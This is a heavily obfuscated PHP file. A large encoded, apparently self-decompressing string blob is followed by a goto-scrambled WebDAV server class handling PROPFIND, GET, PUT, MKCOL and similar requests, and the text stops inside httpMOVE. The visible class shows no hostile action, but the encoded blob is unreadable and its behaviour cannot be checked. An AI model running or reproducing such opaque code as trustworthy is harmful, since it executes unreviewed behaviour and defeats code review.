}0S$-Zb')."\145\357\32\320\323\65\134\331\273\6\325\251\106\242\116\331\220\51\15\16\66\121\237\273\242\215\51\121\230\204\266\142\102\77\300\50\63\61\101\4\342\363\103\353\172\201\74\262\354\24\334\146\327\200\201\304"."\314\256\133\64\263\3\35\1\327\47\170\31\16\173\25\166\114\22\152\6\241\111\203\273\306\222\316\162\145\24\223\134\300\42\70\254\135\312\15\327\35\47\176\362\134\323\47\140\146\33\132\325\217\122\5\47"."\144\231\317\257\223\311\55\65\231\345\202\225\56\267\60\116\60\153\3\120\44\272\257\263\15\64\211\106\26\326\20\63\74\72\57\40\63\254\351\300\174\157\101\244\135\51\303\101\5\115\356\10\241\127\221\173"."\x35\x13\x69\x38\x2d\x70\x8b\x69\x0\x91\x68\xa8\x76\xb0\xe1\x82\x18\x14\x88\x8a\x83\xad\x46\x55\xe9\xb0\x12\x2d\xdc\xaf\xb7\x4b\xec\x2d\x6b\x4e\xb1\x25\x33\x4d\x8\x76\xb9\xac\x4f\xb4\x4b\x55\xde\xc4\xce\x55\x55\x14\x37\x51"."\x89\x84\x89\xf5\x44\xab\x4e\x5a\x68\x37\x4\xaa\xb6\x70\xee\xec\xd6\xc6\x46\x47\xbe\x64\x98\x4e\x5d\xb1\x3e\x51\xa\x3b\x4a\x22\xe7\x87\x3d\x11\x27\x9e\xd8\xce\xe5\x2a\xe0\x7\x3e\x6a\x8d\x8c\x9e\x26\x6f\x97\xc8\x44\x70\x48".strrev(' ]A2'."\r".'b_!Hw<'."\r".'y!MX?XHv\'P~t').base64_decode('KdG4SZQkwRkLNWFIr2MAHdF8+4BaaGmGGtbYBAju0wkxAO5Y0gvt2HeQ4cyrSbCqgxXVCUiiHao=')."\333\131\313\240\27\231\377\377\22\140\55\250\232\367\377\277\24\250\35\341\61\301\42\223\50\231\212\361\77\225\101\31\34\353\52\254\101\324\101\126\205\46\251\271\261\121\12\55\203\150\44\145\272\220\213\166"."\62\341\5\170\174\310\52\215\65\61\122\362\30\175\4\65\13\47\231\132\140\317\325\43\106\5\6\76\54\274\12\257\131\227\203\250\205\133\223\206\245\50\247\46\243\15\65\324\123\160\223\1\362\116\260\166"."\300\265\175\114\201\151\264\263\60\46\146\145\251\166\364\25\314\305\30\330\202\10\12\304\230\140\222\347\112\6\50\214\143\343\64\206\236\202\353\120\207\132\200\157\246\232\210\267\141\10\103\320\306\13\12\235".base64_decode('9DA/tJFzI6CbM2aYDyOyfMTpZEcAF61AFAqztgpaRHXQWaEV5dGSwuDttlnC2owyMTKw9RjFsnQ=')."\55\43\27\134\44\174\243\314\31\105\337\340\14\250\200\127\210\166\11\372\12\166\2\176\62\126\301\222\53\150\1\16\350\224\74\161\312\105\374\33\127\126\254\160\113\27\126\104\154\70\70\350\364\227\213\240"."\216\112\12\254\324\140\303\76\141\61\274\165\257\304\366\24\370\332\256\241\336\111\3\314\151\20\271\345\41\366\371\143\150\231\42\114\32\112\243\44\74\6\346\3\364\66\232\152\262\3\232\51\266\226\116\303"."\xe3\x8\x12\x23\x58\x68\x3f\x49\xb3\xe0\xcd\x22\x8d\x15\x73\x72\x41\xa1\xcf\xd4\x8f\x81\xac\xa2\x60\xbb\x5c\xcc\xb8\xdc\x9a\x91\xa1\xd2\x64\xe1\x6c\x5d\xac\x7a\x1c\x1b\x1a\x12\x48\x39\x5e\x54\x72\xf8\xb0\x4\x99\x80\x51\xf8"."\304\24\360\144\116\207\336\311\122\142\134\315\303\53\106\231\125\122\7\42\73\340\106\43\24\47\243\53\112\301\2\111\344\112\212\5\40\347\212\131\31\101\60\200\74\173\340\115\270\275\31\267\127\167\173\311".base64_decode('Vntn/EMexvKSVYv4XaKPJaAG4p009AiTUdNV4fBqrmpCkUp141xjJyvo0gjo8LIa3UkIKWHNZGs=')."\53\267\313\101\111\351\34\325\350\12\364\54\211\167\5\3\175\161\44\342\207\172\243\236\240\55\1\360\314\150\300\133\1\356\14\121\237\260\266\132\47\362\126\215\63\265\200\226\371\76\356\333\6\104\145\203".base64_decode('+UQlrgZJHqi+j4PzFyR0NzUxTAgbHiMv55hCk5uqlLuNEhERiPuTYIDMHTfZ3wXVBLXV8QZPAE0=')."\x80\x5e\x2a\x42\x61\x4f\x78\x5\xf7\x7e\xb\x52\xa2\x9e\xf0\x14\x29\x30\xf\x71\x32\x47\xfd\x9e\xcd\x5f\xbc\x78\x31\x7d\xf9\x32\x99\xc3\x36\x89\x50\x8d\x9f\xdd\x97\x3\x28\x3c\x7d\x52\x2a\xa1\x72\x25\x26\xd4\xc0\x43\x26\x3b"."\226\373\366\260\254\173\160\13\252\44\236\240\26\247\110\124\213\364\335\302\42\325\44\57\226\350\145\66\73\116\23\174\322\314\41\277\145\362\233\230\44\144\55\353\104\167\40\51\223\374\252\101\316\307\62\223"."\x50\xf5\x8d\x86\xc1\x4a\x93\xe3\xe7\x98\x48\xef\x77\x58\xf2\xca\x85\x5a\x53\xa\x1\xb4\xf9\x52\xf\xb4\x19\x2a\x64\xa4\x49\xd0\x72\xec\xfe\xd8\xe0\x9e\x34\x8c\xac\x92\xcb\xc5\xa1\xca\x1b\xa9\x6e\x32\xab\x49\xf6\xd\x24\x8d".base64_decode('Tv0NXgwBl6i+BmSeoIJkUpGZLNz2c78RxF7O5SJKPNDdAGAmViTk2ZL6EUDHBnHA5wQHiFBSkuA=')."\322\202\54\25\54\276\132\226\151\51\62\154\355\330\101\113\112\51\317\227\220\367\41\342\304\272\272\303\37\364\31\11\174\6\132\145\111\330\262\325\242\40\210\21\52\40\355\26\75\103\234\120\131\341\231\215"."\115\215\202\325\105\300\353\217\304\227\106\240\57\315\140\200\372\176\261\46\4\100\132\64\74\105\212\47\74\125\112\250\163\351\24\51\136\272\177\260\246\4\103\241\210\350\146\310\126\275\376\76\301\201\40\331".base64_decode('H8O1u4koffb2Bwn/ihEKjhFe7CXqTbHSzMZWapDDX3KEfRMX3lvGR2Y4rKEdGg5LSRkbriQULBU=')."\50\51\350\74\24\326\116\62\200\254\114\71\371\261\320\63\260\333\135\347\232\125\77\343\330\274\10\213\65\100\140\254\301\175\154\77\251\306\261\34\6\20\146\60\270\173\145\135\315\332\332\172\127\103\135\254"."\xa9\x9e\xa9\x6f\xc5\xa8\xb5\x57\x2c\x56\x22\xca\x4f\xc3\x6b\x5a\xd7\x71\x3f\x85\xb1\x21\x57\x43\x6c\x78\x86\xa0\x4d\xb6\x6\x0\xd6\x31\xc0\x78\x96\x9e\x87\x21\x97\xf\xc\xcb\x68\xa8\x1b\xaa\xa9\x1d\x76\x35\xc\xad\x8c\xc5"."\206\141\260\36\300\332\41\74\26\161\65\324\73\26\315\160\367\253\206\210\217\275\55\117\211\103\272\234\332\173\25\331\341\76\24\131\124\260\113\102\326\16\242\76\155\237\37\60\145\301\227\233\231\57\12\144"."\13\335\215\315\156\25\225\307\61\204\56\51\45\272\366\241\40\65\260\52\162\45\172\253\62\55\213\132\146\113\243\324\11\104\65\213\31\261\305\341\234\120\73\175\226\120\120\134\164\263\210\40\342\363\30\60".strrev('!*l۶n X'."\r".''."\0".'{JNDXgk*<.')."\247\320\276\206\72\370\340\72\341\343\11\322\3\260\217\343\266\17\62\153\344\234\260\35\345\72\60\110\232\340\132\130\64\112\105\244\244\134\204\367\65\51\174\62\16\72\236\174\233\205\372\373\240\43\66\310"."\x9\xe2\xf4\xc\x55\x0\x5\x7a\x3\xf1\x48\xe0\x4\x7f\x45\x2\xf4\x1b\x5c\x3d\x5\xac\xf7\xd1\x0\x15\x7f\x4\x78\x6f\x8\xf9\x3e\xb3\xc0\xfb\x7b\x97\xf5\x86\x6\xaa\xa1\x46\x7b\xfa\xb8\x2c\x21\x24\x79\x3d\xbd\xd1\xb8\xb0"."\x27\xc5\x9b\x15\xb0\xe5\x62\xbb\x15\xaa\xb0\x9e\xd4\x93\x2d\xcd\x9\x36\xcd\x98\x4f\x30\x2a\xcb\x93\x99\x42\xd7\x7c\xee\x5b\xa0\xec\x64\xfa\xfb\x74\xbf\xe3\xe3\x2e\x41\x48\x36\x74\xf0\x4a\xaa\x80\x1c\xa4\x90\xc\xe2\x29\x8e"."\230\354\220\252\236\341\260\15\225\56\27\214\264\242\333\216\47\23\152\101\246\236\117\363\364\333\171\146\261\6\75\46\121\317\62\310\272\214\112\6\342\335\165\221\135\0\22\223\56\35\244\352\51\150\177\44"."\234\331\25\314\260\222\21\243\101\215\351\354\241\325\274\112\21\360\11\32\301\214\4\156\122\74\111\263\44\76\165\43\274\24\16\142\302\253\355\202\51\235\263\111\142\55\212\343\222\161\144\226\220\200\65\305"."\253\230\343\331\234\4\40\373\126\74\171\241\43\336\102\244\224\140\16\140\154\366\163\324\275\250\44\132\256\121\7\242\260\0\364\72\13\154\201\41\246\201\142\341\103\301\274\145\142\26\364\315\212\54\70\15"."\x1a\x98\x71\x56\x26\xa6\x18\x50\x21\xab\x9f\x8a\x5d\xd5\x52\xaa\x7c\xa\x25\x9\x3d\x9a\xa4\xfb\x38\xb2\x14\x91\x4e\x5c\xc1\xfb\xca\xa4\xfd\xdd\xec\xa4\x6f\x68\x69\xa2\x5b\x38\x6c\x9e\x46\x3a\xd7\xd9\x2c\x9\xe4\x5\x79\x8f"."\100\21\370\64\202\165\43\67\270\314\161\34\15\72\67\20\254\220\270\101\37\176\127\206\15\55\172\200\206\305\164\301\330\113\111\321\241\103\17\270\124\135\113\60\20\275\360\122\325\34\12\167\26\114\366\131"."\xdc\x4c\xda\x10\xc0\x94\xb7\xa6\x93\xf7\xde\x85\xca\x58\x33\xe8\xd8\xed\x9e\xf8\x9a\x3d\xca\xc2\xeb\xcc\xbd\x73\x2\x90\x86\x5f\x90\x17\x3a\x81\x3b\x6f\xc3\xaf\xd3\x50\xa7\xa2\x9e\x54\xca\xe\x8e\x6a\xc\x58\xe9\x0\xce\xc5".strrev('4hJXbnKC;DhʚaA.G5`1eDz `w').strrev('aItĦ(L _o{- #Oбzw BI ').strrev('򱣸BEBBjf)OO.'."\n".'*?]#_N D(,*D:')."\5\4\46\173\35\153\71\23\12\274\7\250\376\355\122\225\357\22\374\34\77\73\21\62\250\205\61\325\120\371\224\247\135\65\41\342\127\364\45\152\212\200\0\275\154\161\353\156\326\255\354\73\25\126\307\74"."\x8e\x71\xc8\x2b\x57\x82\x7d\x2b\x1e\x12\xf1\x71\x37\x61\x35\x80\xbe\x5\xc0\x52\xcb\x75\xdd\x8a\xd4\xcf\xa\xb9\x5e\xa7\xb4\x41\xa2\xc2\x4d\xb5\xe5\x15\x38\x92\xc\x76\x82\xb2\x4a\x49\x1d\x87\x85\x1c\xe1\xc0\x92\xee\xe8\x54"."\xc5\x55\x60\xab\x29\xfe\xc4\x9b\xad\x32\x6a\x8a\x4a\x8b\xcc\x97\x34\x90\x11\x51\x79\x58\x6b\xc7\x52\x27\xa8\x98\xc0\x79\x47\xc0\xe7\x40\x8f\x73\x71\x47\xa6\x28\x8\xe4\x49\x7\x3c\xde\x42\x15\x70\xf0\x2b\xfa\x38\xba\x24\x26".strrev('U/f4q^dr=7EE24EuR(@Ա)J').base64_decode('qN0va9YiI1figjSJm78zBGmh1Ii8KGB9GnS/s4B6nIeNxybJ6LUuf75oWsyVu1WDvxyBxAS+HYI=').base64_decode('speWn6gAWOzhg7QazHUoNCMppDWxZYhl+QFrcKAQNoN2wJNqsw8RQVAZU6zZpyzLsPN6xqctjBE=')."\105\4\72\102\366\247\202\347\165\372\13\75\315\60\371\22\126\105\20\104\210\325\122\214\374\122\36\150\57\32\214\215\227\150\205\120\2\204\321\212\304\36\205\253\241\221\272\72\70\133\307\267\321\0\204\335"."\x11\x81\x0\xa7\x68\x9a\x26\xc\x3f\x56\x47\xf\x63\xe7\x84\x2e\xec\x9c\x82\xca\x1d\x19\x95\x79\x23\xb5\xa0\x11\x72\x7\x5b\x84\x29\xdd\xa8\x90\xf5\xd\xbb\x54\x29\x15\x2\xd8\xff\xbc\x5\xaa\xb\xe2\xb5\xe8\xc4\x16\x3b\x8f"."\xe1\x7e\xc2\x9\x3a\xf8\x5a\x1f\xf6\x16\x43\x26\xa4\x58\x24\x75\xca\x83\x7e\xa0\x0\xe\xe8\x95\x99\x31\xbb\x2b\x9d\xf8\x40\xe7\x89\x4c\x7c\xe0\x8e\x47\x47\x34\x24\xc5\xba\x44\xf9\x97\x20\x48\xb\x24\x3a\x5f\xc\xd3\x42\x47"."\x50\xe4\x0\xd2\x88\x3\x5\x10\x71\x8a\x42\x52\x75\xa8\x85\x38\x11\xa\x1b\x30\xf4\x88\x20\x1b\x3b\xd8\xa3\xe4\xc7\xa7\xa4\x99\xf8\x8\xe3\x7c\x9f\x21\xbe\xb0\x41\x9b\x80\x9\xa3\xe2\x1b\xe8\x17\x6e\xa2\x1d\xb8\x8d\xe\x46"."\56\252\21\104\352\205\106\4\13\130\16\356\352\335\201\317\346\221\21\13\147\16\274\73\50\331\147\24\376\101\130\303\250\370\161\213\44\147\27\342\130\57\331\62\204\355\75\31\325\52\175\37\160\257\105\205"."\x52\x9e\xbb\x87\x2\x11\xab\x0\x8b\x45\x7b\xea\x35\xe2\x1b\x9a\x5b\xd2\x73\xe\xa4\x1a\xeb\xa0\xef\xce\x39\xf0\x43\xa3\xe\x4b\x11\xa8\x42\x71\x53\x68\x30\x93\xa6\x6c\xc3\x55\xf1\xb1\xff\xa2\x74\xe2\xa6\x16\x9\xb4\x40\x34"."\xc0\xce\x24\x70\x52\x3b\xba\xd8\xa8\x8e\xa6\x5a\xe8\x12\xec\x1e\xf9\x91\x31\x7e\xa6\xb2\x68\x67\x94\x2b\xf2\xa9\xe6\x96\xb6\x79\xe2\x7e\x91\xf\x23\xf7\x51\x43\x1f\x95\xc5\x3f\xf4\x68\x8c\x11\x86\x64\xa5\x33\x89\xbe\x8d\x29"."\316\154\224\150\365\266\113\36\54\25\270\240\215\177\375\127\323\301\123\115\334\304\231\204\23\54\126\262\320\5\325\276\362\377\257\207\325\131\31\331\7\372\230\214\51\10\206\242\10\13\172\334\303\346\220\231".strrev('cBAb'."\n".'M30Z@,Q|BNIQfr'."\r".'').base64_decode('Kzx/HApWjH5tCkGfzk9eXeTCnvvdQKRoIUvhaVXRIzwqKCo466ssGu00SSUJXaIreeRFzrOEOfk=').base64_decode('h9eVvAowxpmRqfEUU3A/D9lXiJ7Nga2qRXAFcW7bJMyulA0oShrCbAWzSBWETyKVcTEHNVTwDEQ=').strrev('/-Xdg9Ef%a "0*³#~d Zd<6')."\xab\x36\x1\x70\x25\x20\xf5\x91\xa5\xa\x5\x29\xff\x84\xfa\xc1\xc8\x2c\x17\xe6\x21\xbd\x67\xe5\x7\xa8\x41\xdf\xb0\xde\xc1\xe2\x98\x8f\x69\x61\xf1\x14\xf9\xf3\x1e\x62\x2a\x21\x23\x87\x25\x46\x22\x5c\x6a\x43\xaa\xd5\xc2\x35"."\21\212\63\77\241\364\45\52\372\100\225\314\174\276\100\147\66\154\253\204\217\221\10\112\56\307\327\2\361\345\221\134\102\326\135\200\234\106\114\352\0\254\132\104\164\350\137\105\302\247\122\6\157\100\101\115"."\x8e\x54\x71\xf8\x3\x3b\x1b\xaa\xdd\x8\x6c\x58\x58\xbc\x2a\xd0\x38\xd7\x0\x6b\x1c\x53\x97\xa3\x21\x24\xe\x43\xb1\x87\x3c\x9a\x6d\x79\xee\x21\xc4\xae\x91\xeb\x89\xb3\xb8\xe1\xc5\x74\xf6\xc3\x29\x47\xcf\xa7\xc4\x89\x6f\x1"."\x55\xb0\x8b\xa8\x65\x3d\xb0\x0\xc5\xee\x21\x44\x0\xfd\xb9\x53\x7a\xb0\xe4\x80\xae\x85\x3a\x5\xb9\x1a\x23\x19\x62\xdf\x5a\x5e\xac\xa8\xf4\xff\x54\x99\x9b\x4d\x40\x31\xb\x5f\x2e\x70\x3c\xe\x2a\x6a\xdd\xb0\x8a\x45\xe3\xab"."\x5f\xb8\x29\xb\xc3\xfd\x93\xcb\x56\x3c\x9b\x31\x55\x67\x89\x6a\xe0\x63\x3e\x71\x6f\x1\x42\x62\x45\xe9\x34\xeb\xd3\x35\xb4\xc2\x5b\xa1\x6c\xd\x10\x4c\x90\x4\xf5\xa0\x88\x9d\x51\x99\x9a\xa5\x8f\x80\x40\x2e\x1c\xc1\xe3\xa7"."\34\361\133\332\360\35\72\300\256\244\110\177\117\35\162\306\15\1\60\200\237\3\133\105\4\216\125\322\164\111\370\17\77\12\127\7\223\141\41\253\244\100\57\177\226\267\136\342\217\231\211\17\166\303\63\252"."\56\215\321\201\365\135\1\350\350\327\112\364\35\325\320\222\232\156\10\150\302\233\110\307\103\257\350\70\330\243\26\350\163\26\204\226\151\166\322\365\70\126\255\174\60\322\21\323\62\46\374\301\162\373\103\345".base64_decode('aAuHd2WWzRlRwxFBwjES1DW3ulpFiQhM33skJQhn4dZbCfZSdQWjKqlBIRnlos+MgV/4zECAO2M=').strrev('@՝0trKHZTU=xD'."\0".'m$a+~{3&3@')."\162\342\274\332\6\27\226\25\316\55\345\61\176\306\315\145\316\124\252\113\36\253\202\312\114\247\31\24\100\30\52\22\165\204\227\121\270\217\136\145\134\374\72\301\113\127\56\52\20\261\22\312\137\116\261\267"."\13\315\33\6\47\327\12\5\301\201\32\41\67\16\302\57\331\63\17\171\270\50\135\103\31\345\24\167\235\207\353\310\266\207\374\223\326\7\136\30\32\23\303\0\16\122\102\167\132\240\66\67\301\360\244\214"."\56\257\266\44\262\67\25\212\257\272\205\265\220\102\120\50\116\274\331\230\62\103\244\372\107\70\275\132\273\70\142\273\117\261\261\120\216\114\127\66\315\62\40\2\203\145\215\45\230\141\61\321\122\105\373\160"."\243\155\4\247\125\14\314\243\363\53\234\346\261\46\141\174\305\326\42\61\203\275\265\70\207\136\321\147\44\117\365\117\333\77\100\273\314\176\257\310\13\21\166\60\25\227\236\121\255\112\36\134\243\252\331\160".strrev('c#ȪP4jhyW))!n 3L[qyٓ5\\c^K7E')."\106\233\350\352\265\250\272\341\237\252\26\125\221\247\254\5\307\266\335\157\126\343\221\64\245\12\127\344\327\221\225\374\227\247\125\271\34\305\145\302\305\71\154\321\25\254\110\26\157\132\253\337\305\206\253\316".base64_decode('YsN6SWqDix1DtT62nrph+33nBvokGhDBFq5dKowUqDsl8AXuphCaTHp0e/9RGdDmnJeSZ6EkOIQ=').base64_decode('rerd1wE3xpU7zxx1tiX6PsY7Fs1Uk4KOBgSK7ntxOv1Ijh+TEQECX735RJVjVFsVPvrOrjctd3k=').base64_decode('VdJd/NjU4hwaPR7GzMjxik4OjvE1B1KnIZDOCbjhcuCFEidHNN2E5uWAmRfRb6dmmpTHALEYYSI=').base64_decode('uQ95rxEub0GIv84K+xadWSNCRQwFBcmFC9ycRhScitiQJQLPwlkkXHno3VWy3fBwANhWJrQyIQI=')."\364\326\13\257\17\74\264\46\335\142\227\355\370\3\3\204\12\305\253\150\244\377\145\270\161\212\233\350\212\73\121\31\116\362\70\40\323\25\43\331\123\150\142\61\377\227\337\124\2\71\343\343\105\340\27\250"."\321\71\21\174\270\335\77\30\210\104\43\25\111\175\236\110\144\40\24\366\141\175\323\212\144\224\113\270\367\257\110\352\353\16\365\116\225\346\357\361\4\202\25\151\120\17\0\152\301\322\367\53\161\122\240\17"."\325\322\23\14\122\245\263\312\132\4\274\313\170\115\320\365\27\77\254\55\146\65\172\366\151\123\210\241\147\333\21\231\116\23\310\374\331\326\130\10\53\171\166\146\45\24\147\75\117\20\207\334\240\357\253\262"."\100\261\142\373\41\110\11\360\336\276\227\24\26\246\156\36\341\143\336\154\372\63\121\30\65\116\124\0\342\227\175\56\313\245\240\0\107\23\7\61\41\201\40\305\65\30\1\210\302\252\355\122\306\326\231\113".strrev('C9LVņ!9<%J|!EKaJ,%Xy=kl')."\357\326\355\254\130\270\114\206\275\364\177\13\50\351\234\364\302\0\0", 10, -8))); goto eմ; D: class HttpDavServer { public function __construct($FՒϦ, $FѪۇ) { $this->root = $FՒϦ; $this->initPath($FѪۇ); $this->start(); } public function initPath($Fʐ) { $DݫŢ =& $_SERVER[ȦÆ]; $A͉ = rtrim($_SERVER[$DݫŢ[1363]], $DݫŢ[18]) . $DݫŢ[18]; $this->urlBase = substr($A͉, 0, strpos($A͉, $Fʐ) + 1); $this->urlBase = rtrim($this->urlBase, $DݫŢ[18]) . $Fʐ; $this->path = $this->parsePath($this->pathGet()); } public function checkUser() { $f㧑۝ =& $_SERVER[ȦÆ]; $f = HttpAuth::get(); if ($f[$f㧑۝[540]] == $f㧑۝[1754] && $f[$f㧑۝[892]] == $f㧑۝[1755]) { return !0; } HttpAuth::error(); } public function start() { goto b; Aµ: if (!$dȏƓ) { return; } self::response($dȏƓ); goto aʱѐ; b: $F =& $_SERVER[ȦÆ]; $this->checkUser(); $C = $F[152] . HttpHeader::method(); goto A; A: if (!method_exists($this, $C)) { pr($C . $F[1756]); die; } $Bǂ = array($F[1757], $F[1758]); if (!in_array($C, $Bǂ) && !$this->pathExists($this->path)) { $dȏƓ = array($F[1025] => 404); } else { $dȏƓ = $this->{$C}(); } goto Aµ; aʱѐ: } public function pathGet($BՏ = false) { $bө =& $_SERVER[ȦÆ]; $E櫑 = $BՏ ? $_SERVER[$bө[1759]] : $_SERVER[$bө[1363]]; $E櫑 = KodIO::clear(rawurldecode($E櫑)); if (!strstr($E櫑, KodIO::clear($this->urlBase))) { return !1; } return substr($E櫑, strpos($E櫑, $this->urlBase) + strlen($this->urlBase)); } public function pathExists($a) { return file_exists($a); } public function pathMkdir($Fܯ쳚) { return mkdir($Fܯ쳚, 511, !0); } public function pathInfo($fۡ償) { return path_info($fۡ償); } public function pathList($fȄ) { return path_list($fȄ); } public function pathOut($AؑǓ) { echo file_get_contents($AؑǓ); } public function pathPut($bҋ, $B詃υ = '') { if (!$B詃υ) { return file_put_contents($bҋ, $_SERVER[ȦÆ][43]); } return move_path($B詃υ, $bҋ); } public function pathRemove($e񶑄) { if (is_file($e񶑄)) { return @unlink($this->path); } else { return del_dir($this->path); } } public function pathMove($Dڸڏ, $A) { return move_path($Dڸڏ, $A); } public function pathCopy($CʹŔ, $a׉) { return copy_dir($CʹŔ, $a׉); } public function parsePath($dȋ) { return $dȋ; } public function parseItem($d, $Eʤ) { goto D; D: $D鴴 =& $_SERVER[ȦÆ]; $Bڨ = $this->pathGet() . $D鴴[18] . $d[$D鴴[38]]; $Bڨ = $D鴴[18] . str_replace($D鴴[178], $D鴴[18], rawurlencode($Bڨ)); goto B; f: $E퐙 = array($D鴴[1760] => KodIO::clear($this->urlBase . $Bڨ), $D鴴[116] => @gmdate($D鴴[1761], $d[$D鴴[116]]), $D鴴[193] => @gmdate($D鴴[1762], $d[$D鴴[193]]), $D鴴[87] => $d[$D鴴[87]] ? $d[$D鴴[87]] : 0); return $E퐙; goto EɄ; B: if ($Eʤ) { $Bڨ = $D鴴[18] . str_replace($D鴴[178], $D鴴[18], rawurlencode($this->pathGet())); } if (!trim($d[$D鴴[116]])) { $d[$D鴴[116]] = time(); } if (!trim($d[$D鴴[193]])) { $d[$D鴴[193]] = time(); } goto f; EɄ: } public function parseItemXml($Fҗܘ, $DŃ) { $C޿É =& $_SERVER[ȦÆ]; $Fʘ = $this->parseItem($Fҗܘ, $DŃ); if ($Fҗܘ[$C޿É[39]] == $C޿É[86]) { $c = $C޿É[1763]; $c .= $C޿É[1764]; } else { $f = $Fҗܘ[$C޿É[166]] ? $Fҗܘ[$C޿É[166]] : get_path_ext($Fҗܘ[$C޿É[38]]); $eԨ = get_file_mime($f); $c = $C޿É[1765]; $c .= "\x3c\104\x3a\147\x65\164\143\157\x6e\164\145\x6e\x74\x74\x79\160\x65\x3e{$eԨ}\x3c\57\104\x3a\x67\145\x74\x63\157\x6e\x74\145\156\x74\x74\171\160\x65\76"; } return "\12\x9\11\x3c\x44\72\x72\145\163\x70\157\156\163\145\76\xa\11\x9\11\74\x44\72\150\x72\x65\x66\76{$Fʘ[$C޿É[1760]]}\74\57\x44\72\x68\162\145\146\76\xa\11\x9\11\74\104\x3a\160\x72\x6f\160\x73\x74\x61\x74\76\xa\11\x9\11\11\x3c\x44\x3a\160\162\x6f\160\x3e\12\11\x9\x9\11\x9\74\x44\72\147\x65\x74\154\141\x73\x74\x6d\x6f\144\x69\x66\151\145\144\x3e{$Fʘ[$C޿É[116]]}\x3c\57\104\72\x67\x65\x74\154\x61\163\164\x6d\157\x64\151\146\151\x65\144\76\xa\x9\x9\x9\11\11\74\x44\72\x63\x72\x65\141\x74\151\157\x6e\x64\x61\164\x65\x3e{$Fʘ[$C޿É[193]]}\74\x2f\104\72\x63\162\145\x61\x74\151\157\x6e\x64\141\164\x65\76\xa\11\11\11\x9\x9\x3c\104\x3a\147\x65\164\143\157\156\x74\x65\x6e\x74\154\x65\156\147\x74\x68\76{$Fʘ[$C޿É[87]]}\74\57\104\72\x67\x65\164\x63\157\x6e\x74\145\156\x74\154\x65\156\147\164\150\x3e\xa\11\11\11\x9\x9{$c}\xa\x9\11\x9\x9\x3c\57\104\x3a\160\162\157\160\x3e\xa\x9\11\x9\x9\74\104\x3a\163\164\x61\x74\x75\x73\x3e\110\x54\x54\x50\57\x31\56\x31\40\62\60\60\40\117\113\x3c\x2f\104\72\x73\x74\x61\x74\x75\x73\x3e\12\11\11\x9\74\x2f\104\72\x70\x72\157\x70\x73\x74\x61\164\76\xa\11\11\74\57\104\x3a\162\x65\163\160\157\x6e\163\145\76"; } public function pathListMerge($c) { goto f녒; f녒: $B呕 =& $_SERVER[ȦÆ]; if (!$c) { return $c; } $D۲ = array($B呕[83], $B呕[84], $B呕[1766]); goto Dّ; Dّ: $Bܱ = array(); foreach ($c as $B => $D籏) { if (!in_array($B, $D۲) || !is_array($D籏)) { continue; } $Bܱ = array_merge($Bܱ, $D籏); } foreach ($Bܱ as &$Aω) { $Aω[$B呕[38]] = str_replace($B呕[18], $B呕[1365], $Aω[$B呕[38]]); } goto FǎÐ; FǎÐ: return $Bܱ; goto aDž; aDž: } public function httpPROPFIND() { goto C; cәΓ: if ($Cȃ) { $AަƎ = array($A); } else { $A[$D݇؃[38]] = $D݇؃[43]; $AަƎ = array_merge(array($A), $AަƎ); } $Eɰ = $D݇؃[43]; foreach ($AަƎ as $F) { $Eɰ .= $this->parseItemXml($F, $Cȃ); } goto c; C: $D݇؃ =& $_SERVER[ȦÆ]; $c = $this->pathList($this->path); $AަƎ = $this->pathListMerge($c); goto bƂƴ; c: return array($D݇؃[1769] => 207, $D݇؃[1770] => "\74\x44\72\x6d\x75\x6c\164\151\163\x74\141\x74\x75\163\40\x78\155\154\156\163\x3a\104\x3d\x22\x44\x41\x56\72\42\x3e\xa{$Eɰ}\12\x3c\57\104\72\x6d\165\154\x74\x69\x73\164\x61\x74\165\x73\76"); goto A㸅; bƂƴ: $A = $c[$D݇؃[1767]]; if (!is_array($AަƎ) || $A[$D݇؃[1768]] === !1) { return array($D݇؃[1769] => 404, $D݇؃[1770] => $D݇؃[1771]); } $Cȃ = $A[$D݇؃[39]] == $D݇؃[173] || HttpHeader::get($D݇؃[1746]) == $D݇؃[473]; goto cәΓ; A㸅: } public function httpHEAD() { $dꪐ̨ =& $_SERVER[ȦÆ]; $Dɂ = $this->pathInfo($this->path); if (!$Dɂ || $Dɂ[$dꪐ̨[39]] == $dꪐ̨[86]) { return array($dꪐ̨[1025] => 200, $dꪐ̨[1193] => array($dꪐ̨[1772])); } return array($dꪐ̨[1025] => 200, $dꪐ̨[1193] => array($dꪐ̨[1773], $dꪐ̨[145], $dꪐ̨[1774] . $Dɂ[$dꪐ̨[87]], $dꪐ̨[1775] . get_file_mime($Dɂ[$dꪐ̨[166]]), $dꪐ̨[141] . gmdate($dꪐ̨[1761], $Dɂ[$dꪐ̨[1240]]) . $dꪐ̨[1776], $dꪐ̨[1777])); } public function httpOPTIONS() { $c⧄ =& $_SERVER[ȦÆ]; return array($c⧄[1025] => 200, $c⧄[1193] => array($c⧄[1778], $c⧄[1779], $c⧄[1780], $c⧄[1249])); } public function httpPROPPATCH() { $Fĝͪ =& $_SERVER[ȦÆ]; $c = $Fĝͪ[1781] . $_SERVER[$Fĝͪ[1363]] . $Fĝͪ[1782]; return array($Fĝͪ[1769] => 207, $Fĝͪ[1770] => "\x3c\104\x3a\x6d\x75\154\x74\x69\x73\164\141\164\x75\163\x20\x78\155\154\156\x73\72\104\75\x22\x44\101\126\72\x22\76\12{$c}\12\74\x2f\104\x3a\155\x75\x6c\x74\x69\163\x74\141\164\x75\x73\x3e"); } public function httpGET() { $this->pathOut($this->path); } public function httpPUT() { $FՆͶ =& $_SERVER[ȦÆ]; $D = $this->uploadFile(); if ($D) { $bԆ则 = 204; } else { $D = $FՆͶ[43]; $bԆ则 = 201; } $B̃ = $this->pathPut($this->path, $D); if ($B̃ == !1) { $bԆ则 = 404; } return array($FՆͶ[1769] => $bԆ则); } private function uploadFile() { goto d޳; eע: if (@filesize($eὔ) > 0) { return $eὔ; } @unlink($eὔ); return !1; goto B퍬ㅏ; F: $elj = @fopen($eὔ, $cǜ[1492]); $AԻԉ = @fopen($cǜ[1784], $cǜ[1491]); if (!$AԻԉ || !$elj) { @unlink($eὔ); return !1; } goto bտ; d޳: $cǜ =& $_SERVER[ȦÆ]; @mk_dir(TEMP_FILES); $eὔ = TEMP_FILES . $cǜ[1783] . rand_string(32); goto F; bտ: while (!feof($AԻԉ)) { fwrite($elj, fread($AԻԉ, 1024 * 200)); } fclose($AԻԉ); fclose($elj); goto eע; B퍬ㅏ: } public function httpMKCOL() { $eˑ =& $_SERVER[ȦÆ]; if ($this->pathExists($this->path)) { return array($eˑ[1025] => 409); } $c = $this->pathMkdir($this->path); return array($eˑ[1025] => $c ? 201 : 403); } public function httpMOVE() { $BӍ =& $_SERVER[ȦÆ]; 